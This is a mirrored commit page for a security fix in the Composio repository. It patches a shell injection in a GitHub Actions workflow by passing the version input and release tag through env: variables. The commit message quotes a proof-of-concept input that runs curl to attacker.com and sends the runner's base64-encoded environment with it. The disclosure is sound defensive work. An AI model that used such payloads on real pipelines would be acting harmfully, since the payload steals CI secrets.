@devries-cameron20 / composio Mirror · read-only / commits / b2efc824f
Fork 0

Composio powers 1000+ toolkits, tool search, context management, authentication, and a sandboxed workbench to help you build AI agents that turn intent into action.

Mirrored from https://github.com/Camo67/composio.git

Synced Nov 21, 19:45 UTC

fix(ci): prevent shell injection via version input in cli.test-installation.yml (#3594)

## Summary Fixes a **GitHub Actions script (shell) injection** in `.github/workflows/cli.test-installation.yml`. The `version` input — and the `release_tag` output derived from it — were interpolated with `${{ }}` **directly into `run:` shell bodies**, so GitHub Actions substituted the value into the script *source* before bash parsed it. Shell metacharacters in the input therefore became executable code on the runner. PoC (`version` input): `"; curl http://attacker.com/$(env | base64) #` rendered as: ```bash raw_input=""; curl http://attacker.com/$(env | base64) #" ``` → arbitrary command execution on the runner. Reported via our bug-bounty inbox (credit: **@arrancarcero**). Internal tracking: **SEC-585**. ## Fix Pass each value through `env:` so the shell receives it as an inert environment variable, never re-parsed as source — the same pattern already used in `build-cli-binaries.yml`. Three sites: | Step | Was inline | Now via `env:` | |------|-----------|----------------| | Resolve and validate target release | `inputs.version` | `VERSION_INPUT` | | Test install script (specific version) | `release_tag` | `RELEASE_TAG` | | Test custom install directory | `use_latest`, `release_tag` | `USE_LATEST`, `RELEASE_TAG` | Net change: **+9 / −4 lines**, single file. ## Behaviour & safety verification - **`actionlint`** (1.7.12): no new real findings vs. the pre-change baseline (the only count deltas are info/style shellcheck artifacts on byte-identical, untouched blocks whose line numbers shifted). - **YAML** parses cleanly. - **Functional (bash)** — all legitimate inputs resolve identically: - empty (push event) → `use_latest=true` - `latest` → `use_latest=true` - `1.2.3`, `1.2.3-beta.1` → `@composio/cli@<ver>` - `@composio/cli@1.2.3` → passthrough - malicious payload → treated as an **invalid version string** (no command executed) - No behaviour change for any valid trigger (`workflow_dispatch`, `workflow_call`, tag `push`). ## Notes / optional follow-ups (not in this PR) - Consider adding a least-privilege `permissions: { contents: read }` block (mirrors `build-cli-binaries.yml`). - The `workflow_call`/`push` `else` fallthrough still passes unrecognized inputs through to `release_tag`; tightening it would reject bad input at the source as well. Left out here to keep the fix minimal and behaviour-preserving. Co-authored-by: Saransh Rana <security@composio.dev> Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com>

Saransh Rana committed Jun 24, 2026 at 20:39 UTC b2efc824f688950d19c75aed126e8dd14c88e574
1 file changed +9 -4
.github/workflows/cli.test-installation.yml
+9 -4
@@ -97,8 +97,10 @@ jobs:
97 - name: Resolve and validate target release
98 id: release_target
99 shell: bash
100 + env:
101 + VERSION_INPUT: ${{ inputs.version }}
102 run: |
101 - raw_input="${{ inputs.version }}"
103 + raw_input="$VERSION_INPUT"
104 if [[ -z "$raw_input" || "$raw_input" == "latest" ]]; then
105 echo "use_latest=true" >> "$GITHUB_OUTPUT"
106 echo "release_tag=" >> "$GITHUB_OUTPUT"
@@ -194,8 +196,9 @@ jobs:
196 - name: Test install script (specific version)
197 if: steps.release_target.outputs.use_latest != 'true'
198 shell: bash
199 + env:
200 + RELEASE_TAG: ${{ steps.release_target.outputs.release_tag }}
201 run: |
198 - RELEASE_TAG="${{ steps.release_target.outputs.release_tag }}"
202 echo "Testing installation with version: ${RELEASE_TAG}"
203
204 # Test the install script with specific version
@@ -370,6 +373,9 @@ jobs:
373
374 - name: Test custom install directory
375 shell: bash
376 + env:
377 + USE_LATEST: ${{ steps.release_target.outputs.use_latest }}
378 + RELEASE_TAG: ${{ steps.release_target.outputs.release_tag }}
379 run: |
380 echo "Testing custom install directory..."
381
@@ -378,10 +384,9 @@ jobs:
384
385 # Test with custom directory using the same version as the workflow
386 export COMPOSIO_INSTALL_DIR="/tmp/custom-composio"
381 - if [[ "${{ steps.release_target.outputs.use_latest }}" == "true" ]]; then
387 + if [[ "$USE_LATEST" == "true" ]]; then
388 bash install.sh
389 else
384 - RELEASE_TAG="${{ steps.release_target.outputs.release_tag }}"
390 bash install.sh "${RELEASE_TAG}"
391 fi
392